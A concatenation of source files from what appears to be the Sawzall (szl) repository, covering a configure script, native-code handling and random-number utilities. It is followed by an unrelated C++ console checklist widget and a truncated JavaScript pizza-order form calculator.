int depth) const; void PrintClass( const Descriptor& message_descriptor, int depth, RenamedEnums* renamed_enums) const; void PrintTags(const Descriptor& descriptor) const; void GetTagNameMapping( const FieldDescriptor& field, int* max_tag, map<int, string>* tag_mapping) const; void PrintFields( const Descriptor& descriptor, RenamedEnums* renamed_enums) const; void PrintType(const FieldDescriptor& field, const char* comma, RenamedEnums* renamed_enums) const; void PrintExtensions(const Descriptor& message_descriptor) const; void PrintMessageSetExtensions(const FieldDescriptor& field) const; // Very coarse-grained lock to ensure that Generate() is thread-safe. // Guards file_ and printer_. mutable Mutex mutex_; mutable const FileDescriptor* file_; // Set in Generate(). Under mutex_. mutable io::Printer* printer_; // Set in Generate(). Under mutex_. const char* declterm_; // the enum/group terminator; ";" or "," friend class GeneratorTest; bool sawzall_suppress_warnings_; }; } // namespace szl } // namespace compiler } // namespace protobuf } // namespace google #endif // _GENERATOR_H_ <file_sep>## Process this file with autoconf to produce configure. ## In general, the safest way to proceed is to run ./autogen.sh AC_PREREQ(2.64) # Note: if you change the version, you must also update it in public/porting.h AC_INIT([Szl],[1.0],[<EMAIL>],[szl]) AC_CONFIG_SRCDIR(src/app/szl.cc) AC_CONFIG_HEADERS([config.h]) AC_CONFIG_MACRO_DIR([m4]) AC_CANONICAL_TARGET AM_INIT_AUTOMAKE # Checks for standard programs. AC_PROG_CC AC_PROG_CXX AC_LANG([C++]) AC_USE_SYSTEM_EXTENSIONS AM_CONDITIONAL(GCC, test "$GCC" = yes) # let the Makefile know if we're gcc AC_MSG_CHECKING([C++ compiler flags...]) AS_IF([test "x${ac_cv_env_CXXFLAGS_set}" = "x"],[ AS_IF([test "$GCC" = "yes"],[ SZL_OPT_FLAG="-O2 -fno-strict-aliasing" WARN_FLAGS="-Wall -Wwrite-strings -Woverloaded-virtual -Wno-sign-compare" CXXFLAGS="${CXXFLAGS} -g ${WARN_FLAGS}" ]) # Szl contains several checks that are intended to be used only # for debugging and which might hurt performance. Most users are probably # end users who don't want these checks, so add -DNDEBUG by default. # Also turn off warnings about signed vs unsigned comparisons. CXXFLAGS="$CXXFLAGS -DNDEBUG" AC_MSG_RESULT([use default: $SZL_OPT_FLAG $CXXFLAGS]) ],[ AC_MSG_RESULT([use user-supplied: $CXXFLAGS]) ]) AC_SUBST(SZL_OPT_FLAG) SZL_EXTRA_LDFLAGS=""; AX_CHECK_LINKER_FLAGS([-Wl,--no-as-needed], [SZL_EXTRA_LDFLAGS="-Wl,--no-as-needed"], []) AC_SUBST([SZL_EXTRA_LDFLAGS]) AC_PROG_LN_S AC_PROG_MAKE_SET AC_PROG_INSTALL AC_PROG_LIBTOOL # Set up defines for endianness. szl_big_endian=1 szl_little_endian=2 AC_C_BIGENDIAN(szl_byte_order=${szl_big_endian}, szl_byte_order=${szl_little_endian}, szl_byte_order=0, szl_byte_order=0) SZL_DEFINES="-DSZL_BIG_ENDIAN=${szl_big_endian} -DSZL_LITTLE_ENDIAN=${szl_little_endian} -DSZL_BYTE_ORDER=${szl_byte_order}" AC_SUBST(SZL_DEFINES) # Check for protoc AC_PATH_PROG([PROTOC], [protoc]) AS_IF([test "x$PROTOC" = "x"], [AC_MSG_FAILURE([no protocol compiler was found])]) # Check for objdump AC_PATH_PROG([OBJDUMP], [objdump]) AS_IF([test "x$OBJDUMP" = "x"], [AC_MSG_FAILURE([no objdump utility was found (required for elfgen_unittest)])]) # Checks for header files. AC_HEADER_STDC AC_CHECK_HEADERS([fcntl.h float.h inttypes.h limits.h malloc.h memory.h stdint.h stdlib.h string.h sys/time.h unistd.h]) # Checks for typedefs, structures, and compiler characteristics. AC_HEADER_STDBOOL AC_C_INLINE AC_TYPE_INT16_T AC_TYPE_INT32_T AC_TYPE_INT64_T AC_TYPE_INT8_T AC_TYPE_OFF_T AC_C_RESTRICT AC_TYPE_SIZE_T AC_TYPE_UINT16_T AC_TYPE_UINT32_T AC_TYPE_UINT64_T AC_TYPE_UINT8_T AC_TYPE_UINTPTR_T AC_CHECK_TYPES([ptrdiff_t]) # Checks for library functions. AC_FUNC_ERROR_AT_LINE AC_FUNC_FORK AC_FUNC_MALLOC AC_FUNC_MMAP AC_FUNC_REALLOC AC_FUNC_STRTOD AC_CHECK_FUNCS([dup2 getcwd gethostname getpagesize gettimeofday memchr memmove memset munmap pow realpath setenv sqrt strcasecmp strchr strdup strerror strrchr strstr strtol strtoul strtoull sysinfo]) # Special handling of pthread. ACX_PTHREAD CFLAGS="$PTHREAD_CFLAGS $CFLAGS" CXXFLAGS="$PTHREAD_CFLAGS $CXXFLAGS" LIBS="$PTHREAD_LIBS $LIBS" # Special handling of hash/set clases. AC_CXX_STL_HASH # Check for PCRE library. AC_SEARCH_LIBS([pcre_compile], [pcre], [], [AC_MSG_FAILURE([PCRE library missing])]) # Check for MD5 in openssl library. AC_SEARCH_LIBS([MD5_Init], [crypto], [], [AC_MSG_FAILURE([SSL crypto library (needed for MD5) missing])]) # Check for ICU librares. AC_MSG_CHECKING([for ICU unicode library]) LIBS="-licuuc $LIBS" AC_LINK_IFELSE( AC_LANG_PROGRAM( [[#include <unicode/ustring.h>]], [[u_strToUTF8(NULL, 0, NULL, NULL, 0, NULL);]] ), [AC_MSG_RESULT([yes])], [AC_MSG_FAILURE([no working ICU unicode library was found])] ) AC_MSG_CHECKING([for ICU timezone library]) LIBS="-licui18n $LIBS" AC_LINK_IFELSE( AC_LANG_PROGRAM( [[#include <unicode/timezone.h>]], [[icu::TimeZone::createTimeZone("UTF");]] ), [AC_MSG_RESULT([yes])], [AC_MSG_FAILURE([no working ICU timezone library was found])] ) # Check for mallinfo AC_SEARCH_LIBS([mallinfo], [malloc]) # Check protobuf header version. AC_MSG_CHECKING([protobuf header version]) AC_COMPILE_IFELSE( AC_LANG_PROGRAM([[ #include <google/protobuf/stubs/common.h> #if !defined(GOOGLE_PROTOBUF_VERSION) || \ (GOOGLE_PROTOBUF_VERSION < 2003000) # error protobuf version too old #endif ]], []), [AC_MSG_RESULT([yes (2.3.0 or later)])], [AC_MSG_FAILURE([protocol buffer headers missing or too old (requires 2.3.0)])] ) # Check for protobuf library. AC_MSG_CHECKING([for protobuf library]) LIBS="-lprotobuf $LIBS" AC_LINK_IFELSE( AC_LANG_PROGRAM([[ #include <google/protobuf/io/zero_copy_stream_impl_lite.h> ]],[[ int data; // requires vtable from library google::protobuf::io::ArrayOutputStream ais(&data, 1); ]]), [AC_MSG_RESULT([yes])], [AC_MSG_FAILURE([no working protocol buffer library was found])] ) # Check for protocol compiler library. AC_MSG_CHECKING([for protocol compiler library]) LIBS="-lprotoc $LIBS" AC_LINK_IFELSE( AC_LANG_PROGRAM([[ #include <google/protobuf/compiler/plugin.h> ]],[[ google::protobuf::compiler::PluginMain(0, NULL, NULL); ]]), [AC_MSG_RESULT([yes])], [AC_MSG_FAILURE([no working protocol compiler library was found])] ) # Check for zlib header version and for zlib. AC_MSG_CHECKING([zlib version]) AC_COMPILE_IFELSE( AC_LANG_PROGRAM([[ #include <zlib.h> #if !defined(ZLIB_VERNUM) || (ZLIB_VERNUM < 0x1204) # error zlib version too old #endif ]], []), [ AC_MSG_RESULT([yes (1.2.0.4 or later)]) # Also need to add -lz to the linker flags and make sure this succeeds. AC_SEARCH_LIBS([zlibVersion], [z], [ ], [AC_MSG_FAILURE([no working zlib library was found]) ]) ], [ AC_MSG_FAILURE([headers missing or too old (requires 1.2.0.4)]) ]) # OS-dependent checks AC_MSG_CHECKING([is linux]) AS_IF([grep -q "^linux" <<< "$target_os"], [AC_DEFINE([OS_LINUX], [], [see VirtualProcessSize in utilities/sysutils.cc]) AC_MSG_RESULT([linux; --memory_limit should work]) AC_DEFINE([SZL_USES_MEMORY_LIMIT], [], [--memory_imit and GC work]) AM_CONDITIONAL(SZL_USES_MEMORY_LIMIT,true) AM_CONDITIONAL(ELFGEN_UNITTEST,true) ],[ AC_MSG_RESULT([not linux; --memory_limit will not work]) AM_CONDITIONAL(SZL_USES_MEMORY_LIMIT,false) AM_CONDITIONAL(ELFGEN_UNITTEST,false) ] ) AC_MSG_CHECKING([is OS X]) AS_IF([grep -q "^darwin" <<< "$target_os"], [AC_DEFINE([OS_MACOSX], [], [see utilities/port_ieee.h]) AC_MSG_RESULT([mac osx; will declare ieee754_float]) ],[ AC_MSG_RESULT([not mac osx; will get ieee754_float from include files]) ] ) AC_CONFIG_FILES([Makefile src/Makefile]) AC_OUTPUT <file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #include <time.h> #include <stdio.h> #include <string> #include <errno.h> #include <sys/mman.h> #include "engine/globals.h" #include "public/logging.h" #include "utilities/sysutils.h" #include "utilities/strutils.h" #include "engine/memory.h" #include "engine/utils.h" #include "engine/opcode.h" #include "engine/map.h" #include "engine/code.h" #include "engine/scope.h" #include "engine/type.h" #include "engine/node.h" #include "engine/proc.h" #include "engine/nativesupport.h" #include "engine/elfgen.h" namespace sawzall { // ----------------------------------------------------------------------------- // Implementation of CodeDesc CodeDesc* CodeDesc::New(Proc* proc, int index, Function* function, int begin, int end, int line_begin) { CodeDesc* c = NEW(proc, CodeDesc); c->index_ = index; c->function_ = function; c->begin_ = begin; c->end_ = end; c->line_begin_ = line_begin; assert(begin <= end); assert(begin % kAlignment == 0); assert(end % kAlignment == 0); assert(line_begin >= 0); return c; } // ----------------------------------------------------------------------------- // Implementation of TrapDesc TrapDesc* TrapDesc::New( Proc* proc, int begin, int end, int target, int stack_height, int native_stack_height, VarDecl* var, int var_index, int var_delta, bool is_silent, const char* comment, TrapDesc* super ) { TrapDesc* t = NEW(proc, TrapDesc); t->Initialize(proc, begin, end, target, stack_height, native_stack_height, var, var_index, var_delta, is_silent, comment, super); return t; } void TrapDesc::AddTrap(int offset, VarDecl* var) { VarTrap trap = { offset, var }; var_traps_->Append(trap); } void TrapDesc::print() const { F.print("TrapDesc [%d, %d[ -> %d, stack %d, native stack %d, var %d:%d", begin(), end(), target(), stack_height(), native_stack_height(), var_delta(), var_index()); if (is_silent()) F.print(", silent"); F.print(" (%s)\n", comment()); } void TrapDesc::Initialize( Proc* proc, int begin, int end, int target, int stack_height, int native_stack_height, VarDecl* var, int var_index, int var_delta, bool is_silent, const char* comment, TrapDesc* super ) { begin_ = begin; end_ = end; target_ = target; stack_height_ = stack_height; native_stack_height_ = native_stack_height; var_ = var; if (var != NULL) var->UsesTrapinfoIndex(proc); // make sure we have a slot for this variable var_index_ = var_index; var_delta_ = var_delta; is_silent_ = is_silent; comment_ = comment; var_traps_ = List<VarTrap>::New(proc); super_ = super; assert(begin <= end); assert(!contains(target)); // otherwise danger of endless loops at run-time! assert(stack_height >= 0); assert(native_stack_height >= 0); // assert(var_index_ >= 0); var_index is negative in native mode assert(var_delta_ >= 0); } void TrapDesc::InitializeAsSearchKey(int begin) { // Used only for calling Compare through List::BinarySearch. begin_ = begin; } // ----------------------------------------------------------------------------- // Implementation of Code // For BinarySearch() and Sort() calls below static int Compare(TrapDesc* const* x, TrapDesc* const* y) { return (*x)->begin() - (*y)->begin(); } Code* Code::New(Proc* proc, Instr* base, List<CodeDesc*>* code_segments, List<TrapDesc*>* trap_ranges, List<Node*>* line_num_info) { Code* c = NEW(proc, Code); c->Initialize(proc, base, code_segments, trap_ranges, line_num_info); return c; } void Code::Cleanup() { // unmap pages containing native code if (native_ && code_buffer_ != NULL) { MemUnmapCode(code_buffer_, code_buffer_size_); code_buffer_ = NULL; base_ = NULL; // to make premature cleanup more noticeable } } CodeDesc* Code::DescForIndex(int index) { return code_segments_->at(index); } CodeDesc* Code::DescForInstr(Instr* pc) const { if (contains(pc)) { int offset = pc - base(); for (int i = 0; i < code_segments_->length(); i++) if (code_segments_->at(i)->contains(offset)) return code_segments_->at(i); } return NULL; } Function* Code::FunctionForInstr(Instr* pc) const { CodeDesc* desc = DescForInstr(pc); if (desc != NULL) return desc->function(); return NULL; } const TrapDesc* Code::TrapForInstr(Instr* pc) const { // find closest begin offset via binary search const int offs = pc - base(); TrapDesc key; key.InitializeAsSearchKey(offs); // set only "begin_" for use in Compare const int i = trap_ranges_->BinarySearch(&key, Compare); // determine appropriate trap range if (trap_ranges_->valid_index(i)) { // found an entry const TrapDesc* desc = trap_ranges_->at(i); // if the entry doesn't contain the offset, it must be // contained in one of the enclosing ranges, if any // (note: this happens only for nested trap ranges, // which occur with def(x) expressions, and thus are // relatively infrequent) while (desc != NULL && !desc->contains(offs)) desc = desc->super(); assert(desc == NULL || desc->contains(offs)); return desc; } else { // no entry found return NULL; } } void Code::DisassembleRange(Instr* begin, Instr* end, int line_index) { #if defined(__i386__) const char* cmd = "/usr/bin/objdump -b binary -m i386 -D /tmp/funcode"; const char* mov_helper_addr = ":\tb8 "; // mov ..., %eax #elif defined(__x86_64__) const char* cmd = "/usr/bin/objdump -b binary -m i386:x86-64 -D /tmp/funcode"; const char* mov_helper_addr = ":\t49 c7 c3 "; // mov ..., %r11 #endif const Instr* pc = begin; if (native_) { FILE* fp; fp = fopen("/tmp/funcode", "w"); if (fp == NULL) FatalError("Could not open tmp file"); size_t written = fwrite(pc, 1, end - begin, fp); CHECK_EQ(written, implicit_cast<size_t>(end - begin)); fclose(fp); string disassembly; RunCommand(cmd, &disassembly); // skip header string header = "<.data>:\n"; string::size_type pos = disassembly.find(header, 0); if (pos != string::npos) pos += header.length(); // prefix each disassembled instruction with its absolute address in hex // and its relative address (to code base) in decimal while (pos != string::npos && pos < disassembly.length()) { const string::size_type eol_pos = disassembly.find('\n', pos); if (eol_pos != string::npos) { string instr = disassembly.substr(pos, eol_pos - pos); const uint64 rel_pc = ParseLeadingHex64Value(instr.c_str(), kuint64max); if (rel_pc != kuint64max) { pc = begin + rel_pc; // print line num info if pc >= next known line info entry // only print the last line info if several apply to the same pc bool print_line_info = false; while (line_num_info_ != NULL && line_index < line_num_info_->length() && pc - base() >= line_num_info_->at(line_index)->code_range()->beg) { line_index++; print_line_info = true; } if (print_line_info) F.print("%L\n", line_num_info_->at(line_index - 1)->file_line()); if (instr.find(mov_helper_addr, 0) != string::npos) { const string::size_type ptr_pos = instr.find("$0x", 0); if (ptr_pos != string::npos) { // try to identify helper address loaded in eax/r11 in "mov $helper,%eax/%r11" const uint64 imm = ParseLeadingHex64Value(instr.c_str() + ptr_pos + 3, kuint64max); const char* helper; if (imm != kuint64max && (helper = NSupport::HelperName(imm)) != NULL) { instr.append(" ; "); instr.append(helper); } } } F.print("%p (%5d): %s\n", pc, pc - base(), instr.c_str()); } } pos = eol_pos + 1; } } else { while (pc < end) // F.print increases the pc by the instruction size F.print("%p (%4d): %I\n", pc, pc - base(), &pc); } } void Code::DisassembleDesc(CodeDesc* desc) { Function* fun = desc->function(); if (fun != NULL) F.print("--- %s: %T\n", fun->name(), fun->type()); else if (native_ && desc->begin() == 0) F.print("--- STUBS\n"); else F.print("--- INIT\n"); DisassembleRange(base() + desc->begin(), base() + desc->end(), desc->line_begin()); F.print("\n"); } void Code::Disassemble() { // print code segments for (int i = 0; i < code_segments_->length(); i++) DisassembleDesc(code_segments_->at(i)); // print trap ranges F.print("--- TRAPS\n"); for (int i = 0; i < trap_ranges_->length(); i++) trap_ranges_->at(i)->print(); F.print("\n"); } bool Code::GenerateELF(const char* name, uintptr_t* map_beg, uintptr_t* map_end, int* map_offset) { assert(native_); // should never be called in interpreted mode assert(base() != NULL); // code must be generated first ELFGen elf; // code elf.AddCode(base(), size(), map_beg, map_end, map_offset); // symbols for (int i = 0; i < code_segments_->length(); i++) { CodeDesc* desc = code_segments_->at(i); Function* fun = desc->function(); string fun_name = "sawzall_native::"; if (fun != NULL) { if (fun->name() != NULL) fun_name += fun->name(); else fun_name += "$closure"; // fun is anonymously defined and assigned } else if (desc->begin() == 0) { fun_name += "STUBS"; } else { fun_name += "INIT"; } elf.AddFunction(fun_name, base() + desc->begin(), desc->end() - desc->begin()); } // debug line info int prev_beg = 0; for (int i = 0; i < line_num_info_->length(); i++) { Node* node = line_num_info_->at(i); int beg = node->code_range()->beg; int end = node->code_range()->end; if (FLAGS_v > 1) F.print("%s:%d [%d,%d[\n%1N\n", node->file(), node->line(), beg, end, node); // skip empty code ranges if (end > beg) { assert(beg >= prev_beg); elf.AddLine(node->file(), node->line(), base() + beg); prev_beg = beg; } } elf.EndLineSequence(base() + size()); return elf.WriteFile(name); } #ifndef MAP_ANONYMOUS #ifdef MAP_ANON #define MAP_ANONYMOUS MAP_ANON #else #error Neither MAP_ANONYMOUS nor MAP_ANON are defines. #endif #endif void Code::MemMapCode(Instr* base, size_t size, Instr** mapped_base, size_t* mapped_size) { // memory map the native code to executable pages const size_t msize = Align(size, getpagesize()); Instr* mbase = static_cast<Instr*>( mmap(NULL, msize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)); if (mbase == MAP_FAILED) FatalError("Failed to map memory for native code (errno: %d)", errno); memcpy(mbase, base, size); FlushInstructionCache(mbase, size); *mapped_base = mbase; *mapped_size = msize; } void Code::MemUnmapCode(Instr* mapped_base, size_t mapped_size) { munmap(mapped_base, mapped_size); } void Code::Initialize(Proc* proc, Instr* base, List<CodeDesc*>* code_segments, List<TrapDesc*>* trap_ranges, List<Node*>* line_num_info) { base_ = NULL; code_segments_ = code_segments; trap_ranges_ = trap_ranges; line_num_info_ = line_num_info; init_ = -1; main_ = -1; native_ = (proc->mode() & Proc::kNative) != 0; // 1) setup code assert(base != NULL); assert(code_segments != NULL && code_segments->length() >= 1); #ifndef NDEBUG // assert that code_segments are in consecutive address ranges for (int i = 1; i < code_segments->length(); i++) assert(code_segments->at(i-1)->end() == code_segments->at(i)->begin()); #endif // NDEBUG // determine special entry points for (int i = 0; i < code_segments->length(); i++) { Function* f = code_segments->at(i)->function(); if (f == NULL) init_ = code_segments->at(i)->begin(); else if (f->name() != NULL && strcmp(f->name(), "$main") == 0) main_ = code_segments->at(i)->begin(); } assert(init_ >= 0); // must exist assert(main_ >= 0); // must exist // copy the code into a contiguous chunk of memory size_t size = this->size(); // this requires that code_segment_ is setup! if (native_) { // allocate the native code buffer in mapped memory so that corresponding // pages can be marked as executable MemMapCode(base, size, &code_buffer_, &code_buffer_size_); // no base_ alignment necessary, since code_buffer_ is aligned to page size, // which is larger than CodeDesc::kAlignment base_ = code_buffer_; } else { // allocate the byte code buffer on the heap code_buffer_size_ = size + CodeDesc::kAlignment - 1; code_buffer_ = NEW_ARRAY(proc, Instr, code_buffer_size_); // make sure the code base is aligned to CodeDesc::kAlignment (16) and not // just to Memory::kAllocAlignment (8) base_ = reinterpret_cast<Instr*>(Align(reinterpret_cast<intptr_t>(code_buffer_), CodeDesc::kAlignment)); memcpy(base_, base, size); // we know that this->size() is in bytes! } // 2) setup trap ranges // sort them according to their begin offset // so we can use binary search for lookup assert(trap_ranges_ != NULL); trap_ranges->Sort(Compare); } } // namespace sawzall <file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #include <math.h> #include <sys/time.h> #include <string> #include <memory.h> #include <assert.h> #include "public/porting.h" #include "public/logging.h" #include "utilities/sysutils.h" #include "utilities/port_ieee.h" #include "utilities/random_base.h" // Use the mixing function from hash-inl.h static inline void mix(uint32& a, uint32& b, uint32& c) { a -= b; a -= c; a ^= (c>>13); b -= c; b -= a; b ^= (a<<8); c -= a; c -= b; c ^= (b>>13); a -= b; a -= c; a ^= (c>>12); b -= c; b -= a; b ^= (a<<16); c -= a; c -= b; c ^= (b>>5); a -= b; a -= c; a ^= (c>>3); b -= c; b -= a; b ^= (a<<10); c -= a; c -= b; c ^= (b>>15); } // Note: This is very similar to the HostnamePidTimeSeed() function from // SzlACMRandom. static const int kBufferSize = PATH_MAX + 3 * sizeof(uint32); uint32 RandomBase::WeakSeed32() { uint8 buffer[kBufferSize]; // Initialize the buffer with weak random contents, leaving room // for 3 uint32 guard values (0) past the end of the buffer. int len = WeakSeed(buffer, PATH_MAX); // Ensure that we still have at least 3 * sizeof(uint32) bytes // in the buffer after len, and zero those values. int remaining = sizeof(buffer) - len; CHECK_GT(remaining, 3 * sizeof(uint32)); memset(buffer + len, 0, 3 * sizeof(uint32)); uint32 a = Word32At(buffer); uint32 b = Word32At(buffer + sizeof(uint32)); uint32 c = 0; for (int i = sizeof(uint32) * 2; i < len; i+= sizeof(uint32) * 3) { mix(a, b, c); a += Word32At(buffer + i); b += Word32At(buffer + i + sizeof(uint32)); c += Word32At(buffer + i + sizeof(uint32) + sizeof(uint32)); } c += len; mix(a, b, c); return c; } int RandomBase::WeakSeed(uint8* buffer, int bufferlen) { int offset = 0; char * seed_buffer = reinterpret_cast<char*>(buffer); // PID. (Probably only 16 bits) if (bufferlen >= offset+2) { uint16 pid = getpid(); memcpy(seed_buffer + offset, &pid, 2); offset += 2; } // CycleClock if (bufferlen >= offset + 8) { uint64 clock = sawzall::CycleClockNow(); memcpy(seed_buffer + offset, &clock, 8); offset += 8; } // Time of day. if (bufferlen >= offset + 4) { struct timeval start_time; gettimeofday(&start_time, NULL); memcpy(seed_buffer + offset, &start_time.tv_usec, 4); offset += 4; if (bufferlen >= offset + 4) { memcpy(seed_buffer + offset, &start_time.tv_usec, 4); offset += 4; } } // Get the hostname. if (bufferlen > offset && gethostname(seed_buffer + offset, bufferlen - offset) == 0) { offset += strlen(seed_buffer + offset); } return offset; } RandomBase::~RandomBase() {} // Getting a string of random bytes is a common pattern. string RandomBase::RandString(int desired_len) { CHECK_GE(desired_len, 0); string result; result.resize(desired_len); for (string::iterator it = result.begin(); it != result.end(); ++it) { *it = Rand8(); } return result; } // precondition: n >= 0. int32 RandomBase::UnbiasedUniform(int32 n) { CHECK_LE(0, n); const uint32 range = ~static_cast<uint32>(0); if (n == 0) { return Rand32() * n; } else if (0 == (n & (n - 1))) { // N is a power of two, so just mask off the lower bits. return Rand32() & (n-1); } else { // Reject all numbers that skew the distribution towards 0. // Rand32's output is uniform in the half-open interval [0, 2^{32}). // For any interval [m,n), the number of elements in it is n-m. uint32 rem = (range % n) + 1; uint32 rnd; // rem = ((2^{32}-1) \bmod n) + 1 // 1 <= rem <= n // NB: rem == n is impossible, since n is not a power of 2 (from // earlier check). do { rnd = Rand32(); // rnd uniform over [0, 2^{32}) } while (rnd < rem); // reject [0, rem) // rnd is uniform over [rem, 2^{32}) // // The number of elements in the half-open interval is // // 2^{32} - rem = 2^{32} - ((2^{32}-1) \bmod n) - 1 // = 2^{32}-1 - ((2^{32}-1) \bmod n) // = n \cdot \lfloor (2^{32}-1)/n \rfloor // // therefore n evenly divides the number of integers in the // interval. // // The function v \rightarrow v % n takes values from [bias, // 2^{32}) to [0, n). Each integer in the range interval [0, n) // will have exactly \lfloor (2^{32}-1)/n \rfloor preimages from // the domain interval. // // Therefore, v % n is uniform over [0, n). QED. return rnd % n; } } uint64 RandomBase::UnbiasedUniform64(uint64 n) { if (n == 0) { return Rand64() * n; // Consume a value anyway. } else if (0 == (n & (n - 1))) { // n is a power of two, so just mask off the lower bits. return Rand64() & (n-1); } else { const uint64 range = ~static_cast<uint64>(0); const uint64 rem = (range % n) + 1; uint64 rnd; do { rnd = Rand64(); // rnd is uniform over [0, 2^{64}) } while (rnd < rem); // reject [0, rem) // rnd is uniform over [rem, 2^{64}), which contains a multiple of // n integers return rnd % n; } } float RandomBase::RandFloat() { #ifdef OS_CYGWIN __ieee_float_shape_type v; v.number.sign = 0; v.number.fraction0 = Rand8(); // Lower 7 bits v.number.fraction1 = Rand16(); // 16 bits // Exponent is 8 bits wide, using an excess 127 exponent representation. // We have to take care of the implicit 1 in the mantissa. v.number.exponent = 127; return v.value - static_cast<float>(1.0); #else union ieee754_float v; v.ieee.negative = 0; v.ieee.mantissa = Rand32(); // lower 23 bits // Exponent is 8 bits wide, using an excess 127 exponent representation. // We have to take care of the implicit 1 in the mantissa. v.ieee.exponent = 127; return v.f - static_cast<float>(1.0); #endif } double RandomBase::RandDouble() { #ifdef OS_CYGWIN __ieee_double_shape_type v; v.number.sign = 0; v.number.fraction0 = Rand32(); // Lower 20 bits v.number.fraction1 = Rand32(); // 32 bits #ifdef __SMALL_BITFIELDS // Previous two were actually 4 and 16 respectively; these are the last 32. v.number.fraction2 = Rand16(); v.number.fraction3 = Rand16(); #endif // Exponent is 11 bits wide, using an excess 1023 representation. v.number.exponent = 1023; return v.value - static_cast<double>(1.0); #else union ieee754_double v; v.ieee.negative = 0; v.ieee.mantissa0 = Rand32(); // lower 20 bits v.ieee.mantissa1 = Rand32(); // 32 bits // Exponent is 11 bits wide, using an excess 1023 representation. v.ieee.exponent = 1023; return v.d - static_cast<double>(1.0); #endif } double RandomBase::RandExponential() { return -log(RandDouble()); }
ee55417076edace35f35bef117013b82fccfd0b4
[ "C++", "M4Sugar" ]
7
C++
xushiwei/szl
27889457edbf44751dae250fb780b806e25ab5af
73eb0db37c6e1efe9cb7ef1b11ae836e65a73ecd
refs/heads/master
<file_sep>#include "cchecklist.h" #include "console.h" namespace cui { CCheckList::CCheckList(const char* Format, int Row, int Col, int Width, bool radio, bool Bordered, const char* Border) : CField(Row, Col, Width, 0, &_flags, Bordered, Border) { bio::strcpy(_format, Format); _radio = radio; _cnt = _cur = _flags = 0; } CCheckList::~CCheckList(void) { int i; for (i = 0; i < (int)_cnt; i++) { delete _checkmarks[i]; } } CCheckList& CCheckList::operator<<(const char* Text) { return add(Text); } CCheckMark& CCheckList::operator[](unsigned int index) { return *_checkmarks[index]; } CCheckList& CCheckList::add(const char* Text, bool selected = false) { if (_cnt < 32) { _cnt++; _checkmarks[_cnt] = new CCheckMark(selected, _format, Text, _cnt + 1, 1, bio::strlen(Text) + 4, _radio); if (width() < (int)bio::strlen(Text) + 4) { width((int)bio::strlen(Text) + 4); } height(_cnt + 3); if (selected) { _flags = _flags | (1 << (_cnt)); } } return *this; } void CCheckList::draw(int fn = C_FULL_FRAME) { CFrame::draw(); int i; bool positioned = false; for (i = 0; i < (int)_cnt; i++) { if (!positioned && _checkmarks[i]->checked()){ _cur = i; positioned = true; } _checkmarks[i]->draw(); } } int CCheckList::edit() { int exitKey; bool inEdit = true; this->draw(); while (inEdit) { exitKey = _checkmarks[_cur]->edit(); if ((exitKey == DOWN || exitKey == RIGHT) && _cur < _cnt) { _cur++; } else if ((exitKey == UP || exitKey == LEFT) && _cur > 0) { _cur--; } else if (exitKey == SPACE && _radio) { _flags = 1 << _cur; for(int i = 0; i < (int)_cnt; i++){ if (i != _cur){ _checkmarks[i]->checked(false); } else { _checkmarks[i]->checked(true); } } } else { inEdit = false; } } this->draw(); } void* CCheckList::data() { return (void*)(_flags); } void CCheckList::set(const void* data) {} bool CCheckList::editable()const { return false; } bool CCheckList::radio()const { return _radio; } void CCheckList::radio(bool val) { for (int i = 0; i < (int)_cnt; i++) { _checkmarks[i]->radio(val); } } unsigned int CCheckList::flags()const { return _flags; } void CCheckList::flags(unsigned int theFlags) {} int CCheckList::selectedIndex()const {} void CCheckList::selectedIndex(int index) {} unsigned int CCheckList::length() {} } // end namespace cui <file_sep>/****************************************************************************/ /* This function calculates the pizza price */ /****************************************************************************/ function calculatePizzaPrice(){ var priceList = new Array(0.00, 11.55, 15.25, 22.00, 25.00); // The price for the different sizes var HST = 0.13; // HST current rate var TOPPING = 1.79; // Cost of each topping - First two are free var sizePrice = 0, toppingCount = 0, toppingCost = 0; var subTotal = 0, hst = 0, finalTotal = 0; var whichSize = 0; whichSize = document.onlineOrder.pizzaSize.selectedIndex; // Get the pizza size they selected if (whichSize > 0) { // They selected a valid pizza size sizePrice = priceList[whichSize]; } else { sizePrice = 0; // They did not select a pizza size } // Determine the number of toppings if any for (var i = 0; i < 12;i++){ if (document.onlineOrder.toppings[i].checked == true) // check and count how many toppings toppingCount++; } if (toppingCount < 3) toppingCount=0; else toppingCount=toppingCount-2; // The first 2 are free // Pizza price calculation based on what they selected toppingCost = Math.floor(((1.79 * toppingCount) + 0.005)*100); toppingCost = toppingCost /100; subTotal = Math.floor(((sizePrice + toppingCost) + 0.005)*100);subTotal = subTotal /100; hst = Math.floor((((subTotal * HST) + 0.005)*100));hst = hst/100; // HST calculation finalTotal = (subTotal + hst).toFixed(2); // Results from store calculation document.onlineOrder.hPizzaPrice.value = sizePrice; document.onlineOrder.hToppings.value = toppingCount; document.onlineOrder.hToppingsCost.value = toppingCost; document.onlineOrder.hSubTotal.value = subTotal; document.onlineOrder.hHst.value = hst; document.onlineOrder.hFinalTotal.value = finalTotal; document.onlineOrder.price.value = "$ " + finalTotal; // update price on the form } // End of calculatePizzaPrice function function validateOrder() { // define variables var divElement = document.getElementById('errors') var message = "", len = 0, alphaCntr = 0; // surname var surnameError = 0; len = document.onlineOrder.surname.value.length; // length of the field // if not present if(len == 0){ message = message + "- Please Enter Your Name" + '<br />'; surnameError = 1; } // if present if(surnameError == 0){ alphaCntr = 0; nonAlphaCntr = 0; // how many alphabetic characters are included for(var i = 0; i < len; i++){ if((document.onlineOrder.surname.value.charCodeAt(i) >= 65 && document.onlineOrder.surname.value.charCodeAt(i) <= 90) || 